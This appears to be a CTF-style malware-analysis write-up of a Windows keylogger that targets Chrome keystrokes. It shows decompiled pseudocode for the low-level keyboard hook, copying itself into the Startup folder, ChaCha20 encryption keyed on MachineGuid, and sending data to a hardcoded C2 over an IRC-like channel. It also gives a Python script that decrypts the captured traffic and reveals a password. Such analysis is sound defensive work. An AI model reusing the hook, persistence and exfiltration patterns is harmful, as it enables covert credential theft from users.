TL;DR#
This malware is a targeted keylogger written in C++ (MinGW) that monitors specific applications (e.g., Google Chrome). It generates a unique session key from the victim’s MachineGuid, removes dashes to form a 32-byte key, and uses ChaCha20 to encrypt keystrokes. The encrypted data is exfiltrated over a raw TCP connection to a C2 server using an IRC-like protocol, posting into the #key_storrage channel. The malware ensures persistence by copying itself to the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup folder and employs anti-debugging techniques by decrypting critical strings only when no debugger is detected.
initial analysis#
1$ file *
2cap.pcapng: pcapng capture file - version 1.0
3SneakyKeys.exe: PE32+ executable for MS Windows 5.02 (console), x86-64 (stripped to external PDB), 11 sections
imports#
This malware sample imports a variety of Windows API functions that reveal its capabilities and potential behaviors:
Process and Thread ManipulationOpenProcess - potential process injectionVirtualProtect - shellcode injection or code unpackingVirtualQuery - potential process injection
Network (WS2_32.dll)
full networking stack for C2 communication
Keylogging
strings#
1172.25.21.54 - hardcoded IP address
2My_dUp3r_sup3r_kon3_n0nc - hardcoded encryption key
3chacha20.h - ChaCha20 stream cipher implementation
4#key_storrage - IRC channel used for keystroke exfiltrationreversing#
I decompiled the main function and renamed subroutines based on their functionality:
1__int64 mw_main()
2{
3 mw_key_hook(); // sets up the keyboard hook
4 mw_registry(mw_ptr_to_uuid); // retrieves MachineGuid
5 sub_1400B1FC0(qword_14010A260, mw_ptr_to_uuid); // stores UUID globally
6 mw_jfree(mw_ptr_to_uuid);
7
8 // decrypts username using static key
9 mw_antidebug_decrypt(mw_username, 8, &unk_1400D4020);
10 v0 = sub_1400307D0(mw_username);
11
12 mw_copy_to_startup_folder(); // persistence
13 mw_start_irc(v5, qword_14010A260); // connects to C2
14}mw_key_hook() The hook installation confirms the keylogging behavior:
1 hhk = SetWindowsHookExA(13, fn, 0, 0); // 13 = WH_KEYBOARD_LL
The callback function fn() contains the core logic:
- checks if the active window title contains “Google Chrome”
- If a standard key is pressed, it’s added to a buffer
- If ENTER is pressed, the buffer is encrypted and sent
1LRESULT __fastcall fn(int code, WPARAM wParam, KBDLLHOOKSTRUCT *lParam)
2{
3 if ( !code && (wParam == 256 || wParam == 260) ) // WM_KEYDOWN
4 {
5 mw_window_title(v16); // captures the active window title for context
6 mw_antidebug_decrypt(v21, 13, &unk_1400D4040); // decrypts Google Chrome
7//...[snip]...
8 sub_1400CF8B0(v33, v34, " ");
9 sub_1400CF8B0(v32, v33, "#key_storrage"); // tags the message with the IRC channel
10 sub_1400CF8B0(v31, v32, " :");
11//...[snip]...
12 mw_send(s, v30);
13 }
14 else
15 {
16 sub_1400B2390(&unk_14010A280, vkCode); // buffer
17 }cryptography#
The malware uses ChaCha20 for two purposes with different keys:
config decryption#
- Uses a hardcoded static key found in
.datato decrypt strings like “Google Chrome” and C2 commands.
1Key: 4D795F64557033725F73757033725F6B6F6E335F6E306E63291A000000000000
2Nonce: 6F6E335F6E306E63 (on3_n0nc)keystrokes decryption#
- Uses a dynamic key (UUID) derived from the victim’s machine.
The
mw_registry()func retrieves MachineGuid fromHKLM\SOFTWARE\Microsoft\Cryptographyand stored it inqword_14010A260
1//...[snip]...
2 v27 = 45;
3 v26 = sub_1400CDAF0(v5, v4, &v27);
4 mw_start_uuid = sub_1400AEE90(qword_14010A260); // qword_14010A260 - UUID
5 mw_end_uuid = sub_1400AF4B0(qword_14010A260);
6 sub_1400AD050(v20, mw_end_uuid, mw_start_uuid, &v28);
7 v10 = sub_1400AD020(v20);
8 mw_chacha20(v18, v10, &unk_1400D4010, 0); // encrypts keystroke with uuid key
9//...[snip]...
persistance#
mw_copy_to_startup_folder() — achieves persistence by copying the malware executable into the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup folder.
1 if ( SHGetFolderPathA(0, 7, 0, 0, pszPath) ) // 7 = CSIDL_STARTUP
2 return -1;
3 mw_antidebug_crypt(v7, 8, &unk_1400D4028); // decrypts gg.exe
4//...[snip]...
5 if ( GetModuleFileNameA(0, Filename, 0x104u) )
6 {
7 if ( CopyFileA(Filename, v2, 0) ) // copies self → Startup\gg.exe
communication with c2#
mw_start_irc() — connects to the C2 server over a raw TCP socket and communicates using a lightweight IRC-like protocol. The client registers itself using the victim’s MachineGuid as the nickname, then enters a loop that receives commands and sends encrypted keystroke data into the #key_storrage channel.
decryption#
Analysing the PCAP capture we identified Alice’s IRC session. Her client registered with the following nickname and user string, which exposes her full MachineGuid:
1NICK ALICE_9d9a51bf
2USER ALICE_9d9a51bf 0 * :Client with id:9d9a51bf-b38f-4964-99ad-31c1249d5a70The MachineGuid is 9d9a51bf-b38f-4964-99ad-31c1249d5a70. Stripping dashes gives the 32-byte ChaCha20 key: 9d9a51bfb38f496499ad31c1249d5a70. The nonce is the hardcoded on3_n0nc.
Several encrypted keystroke messages were captured in the #key_storrage channel:
1PRIVMSG #key_storrage :0b8fda0526231ab7
2PRIVMSG #key_storrage :0e8bca69d22f1db404802cc6eb5234fbd7598f71914d74a386e6ddd55b3eb005c78c4d4a75fa6b519b196ea9d85438001d244e06b8401b
3PRIVMSG #key_storrage :0b97b31ed73211aa768c5fd4862226edca4a896d924d64bff387c5d45128a113c5
4PRIVMSG #key_storrage :1681c01dcb2307b3749d2ccce337379ed049e67d93397aa99688a9c841The following Python script decrypts the messages using PyCryptodome:
1from Crypto.Cipher import ChaCha20
2key = "9d9a51bfb38f496499ad31c1249d5a70".encode('utf-8')
3nonce = b"on3_n0nc"
4cipher = ChaCha20.new(key=key, nonce=nonce)
5
6ciphertext = bytes.fromhex("0b97b31ed73211aa768c5fd4862226edca4a896d924d64bff387c5d45128a113c5")
7print(cipher.decrypt(ciphertext))1$ python3 dec.py
2b'MY WORDPRESS PASSWORD IS ALICE1SO'